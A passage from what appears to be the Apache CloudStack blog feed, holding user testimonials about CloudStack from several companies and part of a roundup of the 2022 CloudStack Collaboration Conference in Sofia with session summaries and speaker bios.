target="_blank" rel="noopener noreferrer"><strong>ClouDINfra</strong></a></span></p><p><strong>Wido den Hollander Is the Chief Technology Officer at ClouDINfra. He has been a part of the CloudStack community since 2012. Ever since he has contributed various parts of code like Ceph/RBD, IPv6, KVM and many other parts.</strong></p><p><strong>ClouDINfra’s mission is to build best-in-class digital infrastructures which scale.&nbsp;</strong><strong>The company works exclusively for a select number of large web services providers and supports a significant part of the Dutch IT infrastructure and public internet. Its end-users represent anything from small (or very big) webshops to critical infrastructure.</strong></p><ul><li><strong>Describe what your use case is with CloudStack?</strong></li></ul><p>“At cloudinfra we use CloudStack for our internal private cloud where we&nbsp;<br>host the (web)services for our hundreds of thousands of customers. Using the KVM hypervisor with Ceph storage we are able to run a&nbsp;cost-effective yet reliable and scalable cloud platform.”</p><ul><li><strong>What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></li></ul><p>“Being open source and governed by the ASF protects CloudStack from being&nbsp;influenced too much by commercial drivers and allows us to easily&nbsp;participate in the project.”</p><ul><li><strong>What is the future of the CloudStack project according to you?</strong>&nbsp;</li></ul><p>“Private cloud deployments which are properly connected to deployment and&nbsp;orchestration tooling allow for easy use and adoption of CloudStack&nbsp;within a company.”</p><p><strong>&nbsp;</strong></p><p><span><strong>Kshitish Purohit, Co-Founder, </strong><a href="https://www.indiqus.com/" target="_blank" rel="noopener noreferrer"><strong>IndiQus Technologies</strong></a></span></p><p><strong>Kshitish is the Co-Founder and Chief Product Officer at IndiQus. Kshitish has over 15 years of experience in the user experience, product management and startup domains, and has been an entrepreneur for all his career.</strong></p><p><strong>IndiQus is a fast-growing Cloud solutions company that works with Telecom Service Providers (Telcos, ISPs and Datacenter providers) globally and enables them to build a profitable in-country cloud business.</strong></p><ul><li><strong>Describe what your use case is with CloudStack?</strong></li></ul><p>“Our Product - Apiculus - works deeply with CloudStack and offers a complete cloud customer life cycle management suite for independent cloud service providers. While CloudStack handles the technical orchestration (of Compute, Storage and Networking resources), Apiculus complements that by adding layers of billing, marketing, monitoring, support and unified marketplace capabilities.”</p><ul><li><strong>What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></li></ul><p>“The simplicity of setting up and managing complex network architectures, along with a community that’s deeply invested in solving real-world use cases, are what, I believe, set CloudStack apart from other orchestration platforms.”</p><ul><li><strong>What is the future of the CloudStack project according to you?&nbsp;</strong></li></ul><p>“I see CloudStack as serving two different niches in the near future. One, as enterprises are bringing their workloads ‘back’ to their premises, CloudStack is going to play a key role, as owning and managing a CloudStack setup is much more efficient (w.r.t. manpower, costs, complexity) than other orchestrators. Two, as the future is going closer and closer to the end user (Edge, Web3 etc.), the portability of CloudStack makes it an ideal candidate to embrace cloud-native and Edge-native technologies to deliver powerful orchestration capabilities nearer to the end users.”</p><p>&nbsp;</p><p><span><strong>Giles Sirett, CEO, </strong><a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer"><strong>ShapeBlue</strong></a></span></p><p><strong>Giles is the CEO and founder of ShapeBlue. He is responsible for overall company strategy, strategic relationships, finance and sales. He is also a committer and PMC member of the Apache CloudStack project and Chairman of the European CloudStack User Group, actively helping promote brand awareness of the technology.</strong></p><p><strong>ShapeBlue is the largest independent integrator of CloudStack technologies globally and are specialists in the design and implementation of IaaS cloud infrastructures for both private and public cloud implementations.</strong></p><ul><li><strong>Describe what your use case is with CloudStack?</strong></li></ul><p>“ShapeBlue’s use case with CloudStack is different to most organisations who are using CloudStack. Most organisations are using CloudStack to drive either public cloud implementation or to orchestrate internally within an enterprise. As ShapeBlue is the company that provides services around CloudStack, we see our role as representing those customers in the open-source project. Secondary to that, we do use CloudStack in our own internal CI/CD environment, but that is a relatively small scale compared to most people using CloudStack.”&nbsp;</p><ul><li><strong>What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></li></ul><p>“Against other IaaS orchestration platforms, CloudStack has got two key advantages: A) Ease of deployment - whereas a lot of other platforms are incredibly complex to deploy. B) Reliability - CloudStack has been around for over a decade, it’s very stable, it’s very well-known, it’s in production use at many of the world’s largest organisations.”</p><ul><li><strong>What is the future of the CloudStack project according to you?&nbsp;</strong></li></ul><p>“CloudStack’s scope will remain tightly defined. CloudStack does not have aspirations to become a new block storage platform or to become a container orchestrator, it’s highly defined at the level, which is the virtualised based orchestration layer. CloudStack will become increasingly reliable, increasingly easy to deploy, and effectively we hope will just become boring.”</p><p><strong>&nbsp;</strong></p><p><span><strong>Philipp Reisner, CEO, </strong><a href="https://linbit.com/" target="_blank" rel="noopener noreferrer"><strong>LINBIT</strong></a></span></p><p><strong>Philipp Reisner is one of the founders and CEO of LINBIT. His professional career has been dominated by developing DRBD, a storage replication software for Linux.</strong></p><p><strong>LINBIT is an Open Source company offering enterprise-level support subscriptions for its Open Source technologies.</strong></p><ul><li><strong>Describe what your use case is with CloudStack?</strong></li></ul><p>“LINBIT develops a software-defined storage solution that is seamlessly integrated with CloudStack. As CloudStack, it is OpenSource software composed out of DRBD, LINSTOR, and LVM/ZFS.”</p><ul><li><strong>What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></li></ul><p>“As LINBIT's SDS is available for multiple cloud software stacks and enterprise virtualization stacks, we have a bit of insight into multiple communities. The CloudStack community is thriving, and we see that CloudStack is heavily adopted in mid-sized deployments.”</p><ul><li><strong>What is the future of the CloudStack project according to you?&nbsp;</strong></li></ul><p>“I expect CloudStack will find more large-scale adopters as the hype around the big competing technology cools off.”</p><p>&nbsp;</p><p><span><strong>Grégoire Lamodière, Founder, </strong><a href="https://cloud.dimsi.io/#/" target="_blank" rel="noopener noreferrer"><strong>DIMSI</strong></a></span></p><p><strong>Grégoire Lamodière is the Co-founder of DIMSI.&nbsp;Grégoire is a software architect who spends most of his time designing infrastructure applications and CRM systems, on-premise or multi-cloud based. He’s been using Apache CloudStack for many years, and likes to keep knowledge and data outside black-boxes.</strong></p><p><strong>DIMSI is a French managed service provider, which designs and implements IT solutions adapted to the needs of its customers. Some of their areas of expertise include cloud infrastructure &amp; hosting and digital transformation.</strong></p><ul><li><strong>Describe what your use case is with CloudStack?&nbsp;</strong></li></ul><p>“At DIMSI, we use Apache CloudStack to run our high-availability, eco-friendly and managed cloud infrastructure. Our customers make intensive use of Linux and Windows instances to build enterprise applications, virtual desktop or web apps. We’ve also developed a backup solution that runs on top of CloudStack: Backroll.”&nbsp;</p><ul><li><strong>What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></li></ul><p>“Apache CloudStack is open-source, all-in-one, reliable, fast and cost-effective solution.”</p><ul><li>&nbsp;<strong>What is the future of the CloudStack project according to you?&nbsp;</strong></li></ul><p>“At DIMSI, we think that these 2 technologies could change the game: FAAS (function as a service): gives users opportunities to run functions rather than instances, in the same way as Kubernetes plugin SDN: improve SDN support, such as the current Tungsten plugin, is the way to go.”</p><p>After reading all of the different use cases, you likely have a stronger understanding on the many ways in which Apache CloudStack can be implemented. We would also love to hear your success story with CloudStack. You can do by sharing it with us on the mailing lists (<a href="https://cloudstack.apache.org/mailing-lists.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/mailing-lists.html</a>) or tagging @cloudstack on social media.</p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2022 Roundup]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-roundup</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-roundup</guid>
            <pubDate>Wed, 30 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudStack Collaboration Conference 2022 took place on 14th-16th November. The event, which is organised by a team of volunteers from the Apache CloudStack Community, was held in the Capital Fort Business centre in Sofia, Bulgaria.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-collaboration-conference-2022-roundup"><img loading="lazy" src="/img/imported/f434e02a-eb78-481e-bc5c-070ceeb6acba" alt="banner.png" width="750" height="393" class="img_ev3q"></a><br>CloudStack Collaboration Conference 2022 took place on 14th-16th November. The event, which is organised by a team of volunteers from the Apache CloudStack Community, was held in the Capital Fort Business centre in Sofia, Bulgaria.<p>For the first time, the CloudStack Collaboration Conference was held as a hybrid event. It was streamed live on Hubilo for those who were not able to attend in-person. As it was the first time the community had collaborated in-person since the pandemic, we managed to collect a record number of physical attendees!</p><p>The conference hosted over 370 participants and 48 speakers from 32 countries. In total, there were 38 sessions from leading CloudStack experts, users and skilful engineers from the open-source world. These sessions included: technical talks, user stories, new features and integrations presentations and more.</p><p>The Apache CloudStack community is grateful to the event’s sponsors, for helping make the event a reality - <a href="http://www.shapeblue.com/" target="_blank" rel="noopener noreferrer" data-cke-saved-href="http://www.shapeblue.com/">ShapeBlue,</a> <a href="https://linbit.com/" target="_blank" rel="noopener" data-cke-saved-href="https://linbit.com/">LINBIT</a>,&nbsp;<a href="https://cloud.dimsi.io/#/" target="_blank" rel="noopener" data-cke-saved-href="https://cloud.dimsi.io/#/">DIMSI</a>,&nbsp;<a href="https://storpool.com/" target="_blank" rel="noopener" data-cke-saved-href="https://storpool.com/">StorPool</a>,&nbsp;<a href="https://www.indiqus.com/" target="_blank" rel="noopener" data-cke-saved-href="https://www.indiqus.com/">Apiculus by IndiQus</a>,&nbsp;<a href="https://www.stackbill.com/" target="_blank" rel="noopener" data-cke-saved-href="https://www.stackbill.com/">StackBill</a>,&nbsp;<a href="https://www.stackconsole.io/" target="_blank" rel="noopener" data-cke-saved-href="https://www.stackconsole.io/">Stack Console</a>,&nbsp;<a href="https://www.cldin.eu/" target="_blank" rel="noopener" data-cke-saved-href="https://www.cldin.eu/">CLDIN</a>&nbsp;and&nbsp;<a href="https://www.hubilo.com/" target="_blank" rel="noopener" data-cke-saved-href="https://www.hubilo.com/">Hubilo.&nbsp;</a></p><p>This blog shares the event highlights including session recordings, slides and speaker information for anybody who was not able to make it.</p><h2><span>Day 1 Sessions:</span></h2><span><strong><a href="https://www.slideshare.net/ShapeBlue/keynote-talk-apache-cloudstack-charting-a-path-for-the-next-10-years-and-beyond" target="_blank" rel="noopener">Keynote talk: Apache CloudStack - Charting a Path for the Next 10 years and Beyond</a> - Simon Weller</strong></span><p>CloudStack since its inception has been a significant player in the cloud market, enabling service providers and enterprise customers to drive success, while controlling their own destinies.&nbsp;With the constant evolution of technology and rapidly changing market dynamics, join Simon as he reflects on an exciting 10 years of innovation and looks to the future.</p><p><a href="https://www.youtube.com/watch?v=vu3p0JDe830&amp;t=1120s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/6a12e690-ed32-457a-9927-7ef28b2d2935" alt="Screenshot 2022-12-14 at 12.53.32.png" width="750" height="393" class="img_ev3q"></a></p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/C4xo9eTit6s2tK" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe>&nbsp;<strong>About Simon Weller:</strong><p>Simon Weller is the new VP of Apache CloudStack announced in late March 2022. Simon has been an Apache CloudStack PMC member for the last few years. He has a strong technology background in multiple competencies, including networking and systems.</p><strong><span><a href="https://www.slideshare.net/ShapeBlue/whats-new-in-apache-cloudstack-417" target="_blank" rel="noopener">What's New In Apache CloudStack 4.17</a> - Nicolas Vazquez&nbsp;</span></strong><p>4.17.0 is the latest Apache CloudStack major release. In this talk, Nicolas goes through the new features introduced in this version from an administrator/user perspective, explaining their benefits and the problems those features resolve. He also ran a live demo to see the new features in action.</p><a href="https://www.youtube.com/watch?v=vLA0jpxr7OM&amp;t=1s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/d7189bd1-c171-49f9-8ee6-219fe2081bc8" alt="Nicolas vid.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/oth1Po8Wm8NuTD" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe>&nbsp;<strong>About Nicolas Vazquez:</strong><p>Nicolas Vazquez is a Senior Software Engineer at ShapeBlue and is a PMC member of the Apache CloudStack project. He spends his time designing and implementing features in Apache CloudStack and can be seen acting as a release manager also. Nicolas is based in Uruguay and is a father of a young girl. He is a fan of sports, enjoys playing tennis and football. In his free time, he also enjoys reading and listening to economic and political materials.</p><strong><span><a href="https://www.slideshare.net/ShapeBlue/cloudinit-how-does-it-really-work" target="_blank" rel="noopener">cloud-init: How Does It Really Work?</a> - Wido den Hollander</span></strong><p>cloud-init is the standard for provisioning Virtual Machines in almost all cloud platforms. CloudStack is supported as a DataSource in cloud-init. How does this process actually work and how does this data magically provision the virtual machine? Find out by watching this talk!</p><a href="https://www.youtube.com/watch?v=seknX44Ktfc&amp;t=6s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/34319c64-4c81-4fba-adba-cf9c86f3b808" alt="Wido vid.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/mmfKScl6L8q9Oj" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><strong>Wido den Hollander:</strong>Wido den Hollander has been a part of the CloudStack community since 2012. Ever since he has contributed various parts of code like Ceph/RBD, IPv6, KVM and many other parts. &nbsp;<br><br><strong><span><a href="https://www.slideshare.net/ShapeBlue/new-networking-capabilities-in-acs-and-how-to-leverage-them-for-vnf-deployments/ShapeBlue/new-networking-capabilities-in-acs-and-how-to-leverage-them-for-vnf-deployments" target="_blank" rel="noopener">New Networking Capabilities In ACS And How To Leverage Them For VNF Deployments</a> - Alexandre Mattioli</span></strong><p>Several new networking capabilities such as IPv6 support, fully routed Virtual Router, user-driven shared networks and others have been added to CloudStack since its 4.17 release. In this talk, Alex looks at how to use these new capabilities together in order to seamlessly enable the deployment of Virtual Network Functions via ACS.</p><a href="https://www.youtube.com/watch?v=02nWtACMqjg&amp;t=1197s=" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/8d37af53-5f06-4432-bb51-ddfb01febd4a" alt="alex.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/LwuMIgKz1pqpi" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><div><strong>About Alexandre Mattioli:</strong></div><div>Alexandre Mattioli is a highly experienced Infrastructure Architect who has been working with Apache CloudStack since 2015, he has designed, built and operated one of the largest ACS clouds in existence and led a team to design and productise many diverse solutions on top of ACS. He's currently a Cloud Architect at ShapeBlue.</div>&nbsp;<br><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/automated-cloudstack-deployment" target="_blank" rel="noopener" title="Automated CloudStack Deployment">Automated CloudStack Deployment</a> - Kaloyan Kotlarski</strong></span></div><div>Dev and test environments require the frequent and repeatable deployment of the CloudStack setup. This can be time-consuming and prone to errors. In this presentation, Kaloyan shows how StorPool uses Ansible for automatic deployment and setting up complete CloudStack clouds.</div><a href="https://www.youtube.com/watch?v=vXmEF2Z0aXI&amp;t=26s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/181fe059-5a04-47ee-ac66-93dcbefba7a8" alt="kaloyan.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/wM9jOM06FETpIm" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Kaloyan Kotlarski:</strong></div><div>Kaloyan Kotlarski is a system administrator in StorPools' support team. He's been in the company for two years. He's responsible for building CI/CD automation and helping clients integrate StorPool Storage in their cloud deployments.</div><br><div><strong><span><a href="https://www.slideshare.net/ShapeBlue/stackbill-workshop" target="_blank" rel="noopener">StackBill Workshop</a> - Amal Ranjith</span></strong></div><div><p>StackBill is a complete self-service intuitive Cloud Management Portal with extensive features leveraging Apache CloudStack® with state of the art tools and years of expertise. Stackbill helps datacenter and cloud providers to build their own public cloud business powered by Apache CloudStack.</p><p>In this workshop session, Amal Ranjith talks about how StackBill offers a great solution for cloud service providers with simplified user experience and packed with 3'rd party plugins to provide users with a live demo.</p><a href="https://www.youtube.com/watch?v=rOQ5SdNgu-Q" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/48df8c4d-f5eb-4a29-b4be-b3b5f37c80e3" alt="amal.png" width="750" height="393" class="img_ev3q"></a></div><iframe src="https://www.slideshare.net/slideshow/embed_code/key/HekHmZVZJbQIMX" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><strong>About Amal Ranjith:</strong><p>A Big fan of Linux - enjoyed working with server round the clock. A Techie with 25 Years of experience, Co-founder of Assistanz Networks Pvt. Ltd. and logged in over 10,000+ servers for helping clients, teams, datacenters, web hosts and enterprise companies. Less expressive and more action-oriented in nature co-founded FogPanel which was acquired in 2015. Now working on a mission to make StackBill - one of the most preferred CMP by 2025. Founder of StackWatch - an AI-based server monitoring system. Towards his hobby over innovative cosmetics and Fragrance oils. Founded GlamBella - a company producing and trading cosmetics and fragrance oils.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/vm-autoscaling-with-cloudstack-vr-as-network-provider" target="_blank" rel="noopener" title="VM Autoscaling With CloudStack VR As Network Provider">VM Autoscaling With CloudStack VR As Network Provider</a> - Wei Zhou</strong></span><p>In this talk, Wei looks at the new VM autoscaling functionality in CloudStack (due for the 4.18 release) that gives VM autoscaling without relying on any external devices.</p><a href="https://www.youtube.com/watch?v=k2zSp2j39TM" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/47785de9-5281-40db-a820-719d4fdd0c58" alt="wei.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/LAw4zTMMlTuDt8" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><div><strong>About Wei Zhou:</strong></div><div>Wei Zhou is a committer and PMC member of Apache CloudStack project, and works for ShapeBlue as a Software Architect.</div><div></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/monitoring-in-cloudstack" target="_blank" rel="noopener" title="Monitoring in CloudStack">Monitoring in CloudStack</a> - Lucian Burlacu</strong></span></div><div>In this session, Lucian talks about monitoring CloudStack and its related components. What are the best practices and what do you need to track closely to ensure your cloud reliability.</div><a href="https://www.youtube.com/watch?v=DeTTZQhgbS0" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/018d697d-28c2-4883-aba2-917c048de921" alt="lucian.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/4wtJuAZmWs30lG" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><div><strong>About Lucian Burlacu:</strong></div><div>Lucian is a long-time sysadmin and Apache Cloustack user and contributor. He has a background in hosting, virtualisation and datacentre operations, but is now working full time on CloudStack.</div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/edge-zones-in-cloudstack" target="_blank" rel="noopener" title="Edge Zones In CloudStack">Edge Zones In CloudStack </a>- Abhishek Kumar</strong></span></div><div>Edge computing has been gaining popularity as it defines a model that brings compute and storage closer to where they are consumed by the end-user. By being closer to the end-user a better experience can be provided with a reduction in overall latency, lower bandwidth requirements, lower TCO, more flexible hardware/software model, while also ensuring security and reliability. In this talk, Abhishek discusses aligning Apache CloudStack with this evolving cloud computing model and supporting Edge Zones, which can be also looked upon as lightweight zones, with minimal resources.</div><a href="https://www.youtube.com/watch?v=61TOECZJWog&amp;t=24s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/4498faca-c7d8-4985-b79b-052489c98d9c" alt="abhishek.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/DtlETy3jNBPmvJ" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Abhishek Kumar: </strong><p>Abhishek Kumar is a committer of the Apache CloudStack project and has worked on the notable features such as VM ingestion, CloudStack Kubernetes Service, IPv6 support, etc. He works as a Software Engineer at ShapeBlue.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/how-to-monetise-bill-cloudstack-a-practical-open-approach" target="_blank" rel="noopener" title="How To Monetise &amp; Bill CloudStack - A Practical Open Approach">How To Monetise &amp; Bill CloudStack - A Practical Open Approach</a> - K B Shiv Kumar</strong></span><p>This talk is for ISPs looking to bill CloudStack resources, and for software developers looking to build a billing solution around CloudStack. This talk looks at covering multiple business and technical use cases (for example: plans, catalogues, flexible billing, tiered offerings, account management, etc.) for running a public cloud and how the same can be achieved using CloudStack. It does not delve into any specific billing system but instead focuses on an open approach to how ACS features can be leveraged to implement billing and monetise CloudStack.</p><a href="https://www.youtube.com/watch?v=dnWChu6MROo" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/37114c5b-b767-4d78-9c84-6724bc73fb20" alt="shiv.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/1bxeVTh7wVCFho" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About K B Shiv Kumar:</strong><p>Shiv is the Co-Founder and CTO of IndiQus Technologies Pvt. Ltd. and a CloudStack user turned evangelist since 2013. He loves tinkering on CloudStack and the possibilities it offers. He has deployed multiple public and private clouds running CloudStack in the South Asian region and has also integrated legacy systems with CloudStack. He would love to share his experiences with like-minded professionals.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/choosing-a-kubernetes-integration-technology-thats-right-for-you" target="_blank" rel="noopener" title="Choosing A Kubernetes Integration Technology That's Right For You">Choosing A Kubernetes Integration Technology That's Right For You</a> - David Jumani</strong></span><p>Apache CloudStack has two different ways of integrating with Kubernetes:</p><ul><li>The CloudStack Kubernetes services</li><li>The CloudStack Cluster API provider (CAPI)</li></ul><p>In this talk, David compares the two different technologies, their use cases and their approach. He goes into detail on the architecture of each approach and what drove their development.</p><a href="https://www.youtube.com/watch?v=BNng6ZPImNo&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=12" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/efcae191-bbc9-4ccc-9a8e-eadba3baab61" alt="Screenshot 2023-01-06 at 15.10.33.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/59Qrb9wJIPv9nF" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start"></span> </iframe><div><strong>About David Jumani:</strong></div>David is a CloudStack committer, a member of the Kubernetes Org and a Software Engineer at ShapeBlue. &nbsp;<span><strong><a href="https://www.slideshare.net/ShapeBlue/the-best-storage-solution-for-cloudstack-linstor" target="_blank" rel="noopener" title="The Best Storage Solution For CloudStack: LINSTOR">The Best Storage Solution For CloudStack: LINSTOR</a> - Yusuf Yıldız</strong></span><p>This session was an interactive session on extending Apache CloudStack with LINSTOR. LINSTOR is Open source Software Defined Storage designed to manage block storage devices for large clusters. The unique structure of LINSTOR helps you overcome countless roadblocks when you want to set up reliable storage. This demo covered; The steps to building a reliable and high-performance SDS for your CloudStack environment, The benefits of the stack Comparing LINSTOR with other SDS offerings – what you should know.</p><a href="https://www.youtube.com/watch?v=i3rEaBwLQVI&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=13&amp;t=13s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/c439ef38-374c-4185-b0b7-c50c71289308" alt="yusuf.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/iKCjeGyBHV942p" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Yusuf Yıldız:</strong><div>Yusuf Yıldız, Solutions Architect. After many years spending hands on experience for system and storage management, Yusuf started to work as a Solution Architect at LINBIT 3 years ago. His main focus is customer success and contributing to product development and testing. As part of the solution architects team, he is one of the backbone and supporters of the sales team.</div><div></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/introducing-amazon-eks-anywhere-on-apache-cloudstack" target="_blank" rel="noopener" title="Introducing Amazon EKS Anywhere On Apache CloudStack">Introducing Amazon EKS Anywhere On Apache CloudStack</a> - Vipin Mohan, Max Dribinsky</strong></span></div>Amazon EKS Anywhere is a deployment option for Amazon EKS that enables customers to create and operate Kubernetes clusters on customer-managed infrastructure, supported by AWS. Customers can already run Amazon EKS Anywhere on their own on-premises infrastructure on bare metal servers or using VMware vSphere. In this session, you will learn about the Cluster API provider for Apache CloudStack, and how customers can now create and operate Amazon EKS Anywhere clusters on Apache CloudStack environments on-premises.<a href="https://www.youtube.com/watch?v=BqySTVS0o2c&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=14&amp;t=163s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/e0c438b3-ad68-47d6-962a-ef185501e4ef" alt="Screenshot 2023-01-06 at 15.17.15.png" width="750" height="393" class="img_ev3q"></a><div></div><div><iframe src="https://www.slideshare.net/slideshow/embed_code/key/3tSJb9HVS6v6hN" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe></div><div><strong>About the speakers:</strong>Vipin Mohan is a Principal Product Manager in the Kubernetes team at Amazon Web Services. He enjoys building products and delivering delightful customer experiences. Outside of work, he loves reading about financial investing and entrepreneurship and exploring the world through the eyes of his two kids.</div><div></div>ax is a CAPC and EKS-Anywhere developer, avid hiker and rock climber, and enjoys playing Rocket League and exploring the world with his wife and dog. He's personally interested in self-driving technology and wants to eventually retire in a cabin in the mountains with a wood burning stove and a hot tub.<div></div><div></div><h2><span>Day 2 Sessions:</span></h2><span><strong><a href="https://www.slideshare.net/ShapeBlue/empowering-digital-india-with-cloudstack" target="_blank" rel="noopener" title="Empowering Digital India With CloudStack">Empowering Digital India With CloudStack</a> - Abhishek Ranjan</strong></span><p>CSC E-Governance India is leading the game in bringing G2C <!-- -->&amp;<!-- --> B2C services across the nation on a digital marketplace that enables citizens to avail services from the comfort of their neighbourhood kiosk called Common Service Centers. The digital platform enables and empowers the lives of millions of Indians to access services in the modern digital world. In this talk, Abhishek shares insights on how CSC harnesses the power of CloudStack to underpin the services delivery and build a government community cloud for powering applications which aid in building a digitally inclusive ecosystem.</p><a href="https://www.youtube.com/watch?v=xq2LVY18GU8&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=15" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/903e0080-483b-450f-83d1-ead8ae80ab3b" alt="Screenshot 2023-01-06 at 15.19.48.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/4WwAn6rd5BJdWR" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><strong>About Abhishek Ranjan:</strong><p>Abhishek is the CTO with CSC e-Governance Services India a special purpose vehicle under the Ministry of Electronics <!-- -->&amp;<!-- --> Information Technology, Govt of India. He runs the technology behind CSC which drives the world’s largest front end service delivery points to deliver government <!-- -->&amp;<!-- --> business services across the nation reaching the remotest of the country on a digital format. CSC's Digital platform supports multi domain products <!-- -->&amp;<!-- --> services ranging from government, business, aadhaar, insurance, travel, education, utilities, bill payments, fintech apps for banking services delivery. Prior to CSC he worked with the UIDAI, where he was engaged as member of the technology team that built Aadhaar, during his Aadhaar days he was involved in building the Aadhaar Biometric Attendance system, Digital Life Certificate <!-- -->&amp;<!-- --> several other exciting and challenging projects which were widely adopted across the nation. He previously did his bachelors in engineering from BITS Mesra and passionately participates in Application Architecture, Product Design <!-- -->&amp;<!-- --> Development, Big Data Analysis and specializes in Product Strategy, Strategic Tech Planning <!-- -->&amp;<!-- --> Technology Leadership.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/vm-console-enhancements" target="_blank" rel="noopener" title="VM Console Enhancements">VM Console Enhancements</a> - Nicolas Vazquez</strong></span><p>In this talk, Nicolas introduces a new model for console access to instances in CloudStack. He explains both “how” and “why” CloudStack has moved from an embedded HTML client iframe to an API-driven generated console. He also delves into recent enhancements to the security and access to the console, including an extra security client validation approach.</p><a href="https://www.youtube.com/watch?v=AViBkapPTK4&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=16&amp;t=1ss" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/95bb19e3-d710-4cce-92a9-63df9983e850" alt="Screenshot 2023-01-10 at 09.25.52 1.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/dso2DQLjmTnBaH" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Nicolas Vazquez:</strong><p>Nicolas Vazquez is a Senior Software Engineer at ShapeBlue and is a PMC member of the Apache CloudStack project. He spends his time designing and implementing features in Apache CloudStack and can be seen acting as a release manager also. Nicolas is based in 